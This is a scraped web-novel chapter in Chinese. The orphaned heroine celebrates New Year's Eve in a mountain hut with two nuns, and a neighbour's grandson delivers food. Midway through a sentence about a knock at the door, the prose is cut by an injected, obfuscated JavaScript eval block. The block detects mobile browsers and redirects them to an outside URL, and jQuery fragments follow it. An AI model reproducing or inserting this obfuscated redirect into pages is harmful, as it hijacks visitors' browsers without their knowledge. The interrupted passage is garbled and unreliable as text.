默认冷灰
24号文字
方正启体

20. 第20章 山中除夕

作者:田晓景本书字数:K更新时间:
    日子如流水滑过,转眼到了大年三十。


    许娇娇记得前世时,每逢过年,家里亲戚聚齐,热闹非凡。祖父坐在太师椅上,笑呵呵地给孙辈发压岁钱;父母在厨房里忙活,一个炖肉一个包饺子,香气能从灶间飘满整个院子。她呢,总是最晚回家的那个,总要熬到腊月二十九才能脱身。父母的责备电话里带着喜悦:“又这么晚!全家就等你一个!”


    当时总觉得烦,嫌他们啰嗦,嫌家里吵闹。如今想来,那责备里藏着的牵挂,那喧闹里裹着的温情,都成了回不去的念想。


    她站在茅屋门口,望着远山覆雪,怔怔出神。


    “小施主,想什么呢?”静尘的声音从屋里传来。


    许娇娇回过神,笑了笑:“没什么,就是觉得……这山里的年,和城里不太一样。”


    静尘端着盆热水出来:“是不一样。城里爆竹喧天,咱们这儿……安静。”


    安静。是啊,太安静了。自从水仙姑被抓,找她看病的人也少了很多,也许是山路难行,尤其又下了雪。年关将近,不管是富人还是穷人,都想安安稳稳过个好年吧!


    “没有走亲访友的喧哗,没有街坊邻居的拜年声,就连爆竹声,也只在极远的山下隐隐传来,像是隔着一层厚厚的棉絮。”却是安静。许娇娇淡淡的放佛自言自语。


    可这份安静里,也有别样的踏实。


    水仙姑被抓真好,那个狗腿子静非也不见了踪影,少了很多麻烦,不过许娇娇心里还是有点不太踏实,那个静非曾在大雨夜冒充她害张大的媳妇一尸两命这件事,她时不时想起来心里还是一阵刺痛。


    这几年,她试着根据前世的记忆配制了几款成药,家里如今切药刀、药碾子,石臼、研钵、搓丸板、但凡成药的工具都基本齐全。静尘根据她的指点帮着碾药,她则根据配方合药。忙了好些日子,才将托张记生药铺寄卖的药丸子做好。静心则帮着打打下手,看着她忙活,眼里都是好奇和惊讶已经被习以为常取代。


    她又让孙二根帮忙,把秋末采的最后一批草药和这批药丸送到张记生药铺。张东家见了她的草药,又是一番称赞,给了个公道的价钱——一两三钱碎银。又托孙二根捎回了上次寄卖药丸子所得的银钱。又一包红枣、一包红糖,说是过年礼。


    李婆子那边,也把替她保管的四两银子一并托孙二根带了过来,还带了几句话。


    李婆子的原话是:“娇杏那边现在多了两张嘴,如今米粮价高,她一个小人也是运气好,才得了赏银。我本打算替她存着,可你看你那外甥——成日里不着家,但凡回来,不是问我要银子,就是在外头借钱。如今村子都被他借遍了,谁家还肯借他?去年借了王寡妇三百钱,人家追着他要,他倒好,跑没影儿了,最后还不是我替他还的。我这是造了什么孽,生了这么个败家子!”


    “如今连大郎媳妇一个小辈都指着我的鼻子骂我偏心。我要不是看在两个孙儿还小,可怜他们的娘早早走了……我为他操了多少闲心?他倒好,甩手掌柜一般,任啥也不干,那地里的荒草都长到人高了……”


    “罢了罢了,你将她存在我这里的银子带给她。过年了总得置办些吃食家用。但也得嘱咐她省着点用——她还小,别被人撺掇着胡乱花销了。”


    许娇娇知道,李婆子这话半是体贴,半是顾虑。她那个不成器的二儿子成天在外胡混,若是知道家里藏着银子,保不准哪天就摸走了。到时候丢了钱,不但对不住娇杏,更对不住死去的许大郎夫妇。


    这份细心,让许娇娇心里暖了很久。她也没白拿,让孙二根带回了一只肥硕的野兔——是她前几日在后山下的陷阱逮到的,还有静尘和静心做的米糕、芝麻糖,用油纸仔细包好。


    礼尚往来。就冲李婆子这个为人,她会把她当成祖母敬着。


    腊月三十,天还没亮透,三人就都起来了。


    静心最先起身,轻手轻脚地生火烧水。灶膛里的火光照亮她认真的小脸——这丫头自从来了茅屋,像是换了个人,不再终日畏畏缩缩,眼里渐渐有了光。


    静尘在里屋整理床铺,把被褥叠得整整齐齐。许娇娇则从箱底拿出三件新夹衣——这是她前些日子托李二根从城里捎回的布料,静尘和静心熬了几夜赶制出来的。


    夹衣用的是粗蓝布,里头絮了新棉花,针脚密密实实。虽不算精致,可在这寒冬里,比什么都金贵。


    “来,试试。”许娇娇把衣服递过去。


    静尘接过,摸了摸厚实的夹袄,眼眶有些发红:“这……这太费布料了。”


    “过年嘛,总要穿点新的。”许娇娇笑道,“快穿上看看。”


    静尘摸了摸她的头,语气温柔敦厚:“你年岁比我和静心都小,竟是如此聪慧……许是父母早亡吧,你这小施主早慧多智得让人惊艳。”


    三人换上夹衣,互相打量着,都笑起来。


    静尘穿着合身,衬得她温婉端庄;静心个子小,衣摆略长了些,可小姑娘爱惜得不得了,轻轻抚着衣襟,生怕弄皱了。许娇娇自己那件最是妥帖,蓝布衬得她小脸越发白净,眉眼间的稚气里,竟透出几分不属于这个年纪的沉稳。


    “真好看。”静心小声说。


    许娇娇揽过她的胳膊:“咱们都好看。”


    早饭简单,热了昨夜的剩粥,就着咸菜吃了。饭后,三人开始忙活年夜饭。


    静尘和面,准备包饺子——这是许娇娇教的。山里没韭菜,就用白菜拌着野葱做馅,再剁些腊肉丁提味。静心洗菜切菜,许娇娇则处理了只野鸡——这也是她在后山下的陷阱抓到的。


    鸡肉用盐水泡过,去了腥气,切成小块。她想起前世爷爷教的法子,用山里采的花椒、八角,加上姜蒜,慢火炖上。不多时,肉香就飘满了屋子。


    “真香啊。”静心吸着鼻子,眼睛亮晶晶的。


    “一会儿还有更香的。”许娇娇笑道。


    她又取出李婆子送来的腊肉,让静心切成薄片,和冬笋一起炒。笋是前几日挖的,埋在屋后雪地里,鲜嫩得很。


    灶台上渐渐摆满了菜:炖鸡肉、腊肉炒笋、白菜豆腐、还有一碟煎得金黄的鸡蛋饼。最后是一大盆饺子,白白胖胖的,在沸水里翻滚。


    忙活到晌午,菜都齐了。


    三人把桌子搬到堂屋正中——这桌子是许娇娇用旧木板拼的,虽不平整,却也结实。碗筷摆好,菜一道道端上来,小小的桌子竟摆得满满当当。


    “等等。”许娇娇忽然想起什么,从怀里掏出三个小红包。


    那是她用红纸自己糊的,里头各包了二十文钱——不多,就是个意思。


    “压岁钱。”她把红包递给静尘和静心,“愿咱们新的一年,平平安安。”


    静尘接过红包,手都在颤:“这……这怎么使得……”


    “使得。”许娇娇按住她的手,“咱们是一家人。”


    “一家人”三个字,让静尘的眼泪终于掉下来。她连忙擦去,重重点头:“对,一家人。”


    静心也哭了,抱着红包不撒手——这是她这辈子,第一次收到压岁钱。


    三人正要动筷,外头忽然传来旺财的叫声,紧接着是“砰砰”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222031|197528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的敲门声。


    许娇娇心头一紧,起身往外看。却见门口站着个身影——是李婆子的大孙子大郎,十一二岁的半大少年,脸蛋冻得红扑扑的,怀里抱着个布包袱。


    “大郎?你怎么来了?”许娇娇忙开门让他进来。


    大郎吸了吸鼻子,把包袱递过来:“阿婆让我送来的。说给你们添个菜。”


    许娇娇接过包袱,打开一看——里头是炸丸子、炸豆腐,还有一小块熏鱼,都用油纸仔细包着。最底下还有个小酒壶,用软木塞塞着。


    “阿婆说,这是二根舅舅自己酿的米酒,让你们暖暖身子。”大郎脆生生地说,“阿婆还说,她家里一摊子事,今儿走不开,等过了初五再来瞧你们。”


    许娇娇心里一暖:“你阿婆家里……都好吧?”


    “好着呢!”大郎点点头,“二叔今日难得在家,帮着劈柴。阿婆说我舅母也能下地了,阿婆说,今年过年总算能齐整些。”


    他说着,眼睛往桌上瞟了瞟,见那一桌菜,悄悄咽了口口水。


    静尘忙拿了碗筷:“大郎吃了没?在这儿一起吃吧。”


    大郎摇摇头:“不了,阿婆让我送了东西就回去,说家里等着我吃饭呢。”


    大郎看着一桌好吃的有些腼腆的笑。


    许娇娇笑了,用油纸包了两个鸡腿、几个饺子,塞进他怀里:“带回去给二郎尝尝。”


    大郎眼睛一亮:“谢谢娇杏姐姐!”


    “路上慢点,天黑前一定到家。”许娇娇叮嘱道。


    “嗯!”大郎抱着油纸包,欢欢喜喜地跑了。


    三人重新坐下,看着桌上李婆子送来的菜,心里都暖融融的。


    许娇娇给每人倒了点米酒,淡黄的酒液在粗瓷碗里荡漾,香气扑鼻。她端起碗:“来,咱们碰一个——愿新的一年,无病无灾,日子越过越好!”


    “无病无灾,日子越过越好!”三人齐声应和,碗碰在一起,叮当作响。


    这顿年夜饭吃得格外香甜。没有喧闹的人声,却有温暖的陪伴;没有满桌的珍馐,却有彼此的心意。


    饭后,三人收拾了碗筷,围着火塘坐下。静心拿出针线,开始缝补衣裳;静尘则拿起一本旧经书,轻声诵念。许娇娇靠在墙上,看着跳跃的火光,思绪飘远。


    忽然,山下远远又传来爆竹声。


    噼里啪啦,断断续续,在这寂静的山谷里回荡。


    “放爆竹了。”静心抬起头,眼里映着火光。


    “是啊,放爆竹了。”许娇娇轻声道。


    辞旧迎新。不管旧年有多少艰难,新年总会来。


    就像这山里的雪,再厚也会化;就像崖边的野草,再冷也会发新芽。


    也不知那一世的父母家人都安好吧!


    而此刻,山下的落溪村里,家家户户的灯火也渐次亮起。李婆子家的堂屋里,一家人难得齐齐整整地围坐着,桌上摆着简单的饭菜,却有难得的团圆。


    大郎把油纸包打开,鸡腿的香气顿时弥漫开来。二郎欢呼一声,伸手就要拿。


    “慢着,”李婆子拍开他的手,把鸡腿分给两个孩子一人一个,“这是娇杏妹妹给的,要记着人家的好。”


    “记着呢!”大郎咬了口鸡腿,含糊不清地说,“娇杏姐姐真好。”


    “是妹妹,”李婆子拍了拍他的头,“娇杏比你小呢!”


    妹妹也好,姐姐也罢!只要有鸡腿吃,都好!大郎一边吃一边在心里想。


    李婆子望着窗外黑沉沉的山影,心里默默念叨:乖囡,愿你也能过个好年。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)